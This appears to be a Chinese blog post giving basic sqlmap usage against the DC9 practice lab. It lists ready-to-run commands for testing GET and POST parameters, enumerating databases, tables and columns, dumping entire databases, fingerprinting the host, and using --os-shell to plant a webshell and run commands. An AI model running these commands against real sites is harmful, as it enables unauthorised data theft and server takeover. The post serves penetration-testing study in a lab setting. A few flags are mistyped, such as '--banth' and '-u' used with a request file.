当前位置:网站首页>sqlmap基本使用方法
sqlmap基本使用方法
2022-07-03 09:38:00 【天下 (天衍师)】
本文只介绍sqlmap的简单使用方法,参考官方文档
https://github.com/sqlmapproject/sqlmap/wiki/Usage
csdn师傅
https://blog.csdn.net/Breeze_CAT/article/details/80628392
个人建议,具体参数直接看csdn师傅的即可,本文以DC9靶场作为目标进行练习,使用sqlmap获取目标数据或权限
GET型
sqlmap -u http://192.168.43.143/ceshi.php?id=1 --banth --level 4
-u
输入自己的目标地址--batch
自动输入选项的属性值--level
设置测试的等级(1-5,默认为1)lv2:cookie注入; lv3:user-agent注入,lv4:refere注入; lv5:host注入
POST型
可以获取对应地址的请求包,使用bp抓包保存即可
sqlmap -u ceshi.txt --batch --level 4
或者
sqlmap -u http://192.168.43.143/results.php --method=POST --data="search=1" --level 4 --batch
--method
选择传参的方式--data
选择传入的参数
sqlmap -u http://192.168.43.143/results.php --method=POST --data="search=1" --level 4 --batch --random-agent
--random-agent
采用随机UA头sqlmap -r ceshi.txt --batch --current-db
查看当前数据库--current-db
查看当前数据库
查询数据库内容
查看拥有的数据库名称
sqlmap -r ceshi.txt --batch --dbs --level 4
选择数据库,查询表名
sqlmap -r cesh.txt --batch -D shujuku --tables
查询表格内列名
sqlmap -r ceshi.txt --batch -D shjuku -T biao --columns
查看表格内某些列内容
sqlmap -r ceshi.txt --batch -D shujuku -T biao -C id,username --dump
--dump
下载的意思,前面跟的参数是需要下载的内容
sqlmap -r ceshi.txt --batch --dump-all
--dump-all
代表下载全部的意思,也就是脱裤操作
查看数据库,表格内容的对应关系
sqlmap -r ceshi.txt --schema
--schema
目标数据库数据库系统管理模式,类似于拓扑图的一种
写入木马,执行命令
sqlmap -r ceshi.txt --os-shell
sqlmap会自动查找路径写入shell
指纹识别
sqlmap -r ceshi.txt -f --dbs
当目标存在注入时,使用-f
参数即可获取到目标的操作系统信息
边栏推荐
- Knowledge map reasoning -- hybrid neural network and distributed representation reasoning
- 面试官:Redis中列表的内部实现方式是什么?
- [combinatorial mathematics] pigeon nest principle (simple form examples of pigeon nest Principle 4 and 5)
- 如何在游戏中制作一个血条
- Ut2011 learning notes
- How to monitor the incoming and outgoing traffic of the server host?
- FileNotFoundError: Could not find module ‘... dll‘ (or one of its dependencies).
- [SQL] an article takes you to master the operations related to query and modification of SQL database
- Ut2017 learning notes
- Traversal of map set
猜你喜欢
Ut2017 learning notes
[roast & brain hole] Some Thoughts on the bullet screen interactive game of Wei Shu Wu Three Kingdoms when visiting station B
帶你走進雲原生數據庫界扛把子Amazon Aurora
缓存路由组件
Unity learning notes: personal learning project "crazy genius Edgar" error correction document
EFFICIENT PROBABILISTIC LOGIC REASONING WITH GRAPH NEURAL NETWORKS
【吐槽&脑洞】关于逛B站时偶然体验的弹幕互动游戏魏蜀吴三国争霸游戏的一些思考
Ut2016 learning notes
Uni app learning 1 bottom menu and parent-child components
Jetson TX2 brush machine
随机推荐
Nuget add reference error while installing packages
Leetcode刷题---75
【吐槽&脑洞】关于逛B站时偶然体验的弹幕互动游戏魏蜀吴三国争霸游戏的一些思考
Leetcode skimming ---852
Softmax regression (pytorch)
Unity学习笔记:个人学习项目《疯狂天才埃德加》纠错文档
缓存路由组件
深度学习入门之线性回归(PyTorch)
Ut2015 learning notes
Leetcode skimming ---217
丢弃法Dropout(Pytorch)
Content type ‘application/x-www-form-urlencoded; charset=UTF-8‘ not supported
Automatic derivation of introduction to deep learning (pytoch)
conda9.0+py2.7+tensorflow1.8.0
Unity group engineering practice project "the strongest takeaway" planning case & error correction document
分组函数之rollup、cube函数、grouping sets函数
ThreadLocal principle and usage scenario
如何在游戏中制作一个血条
Ut2014 learning notes
Wechat applet training notes 1